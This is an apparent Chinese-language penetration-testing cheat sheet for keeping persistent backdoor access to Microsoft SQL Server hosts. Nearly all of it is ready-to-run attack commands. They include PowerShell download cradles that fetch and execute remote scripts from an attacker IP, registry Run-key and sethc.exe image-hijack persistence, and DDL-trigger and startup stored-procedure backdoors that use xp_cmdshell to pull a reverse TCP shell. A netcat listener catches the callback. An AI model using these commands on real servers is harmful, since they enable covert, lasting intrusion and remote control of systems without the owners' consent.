WEB渗透权限维持篇-MSSQL后门

注册表自启动

>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegRun -Verbose -Name Update -Command 'c:\windows\temp\Update.exe' -Instance "zone.com\sub2k8""

重启MSSQL上线(需重启服务)

http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1
>powershell -ep bypass 
>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1') 
>Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "zone.com\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')" 远程木马脚本可用CS/Empire生成
>net stop mssqlserver
>net start mssqlserver

映像劫持

>powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegDebugger -Verbose -FileName sethc.exe -Command "c:\windows\system32\cmd.exe" -Instance "zone.com\sub2k8""

DDL事件触发

>powershell -exec bypass 
>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/Invoke-SqlServer-Persist-TriggerDDL.psm1') 
>Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "zone\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')"  远程木马文件可用CS/Empire生成
>Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance " zone\sub2k8" -Remove   移除后门

WarSQLKit(后门)

http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit

存储过程维持权限

>USE master
>GO

>wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcpOneLine.ps1

修改下脚本的ip和端口
创建个web服务，把脚本传上去

创建存储过程
>CREATE PROCEDURE test_sp
>AS
>EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'
>GO

设置服务器启动时立刻执行
EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';

设置完成，使用命令可以查到我们的存储过程
>SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY ( id, 'ExecIsStartUp' ) = 1 ;

打开nc监听

重启后可以收到会话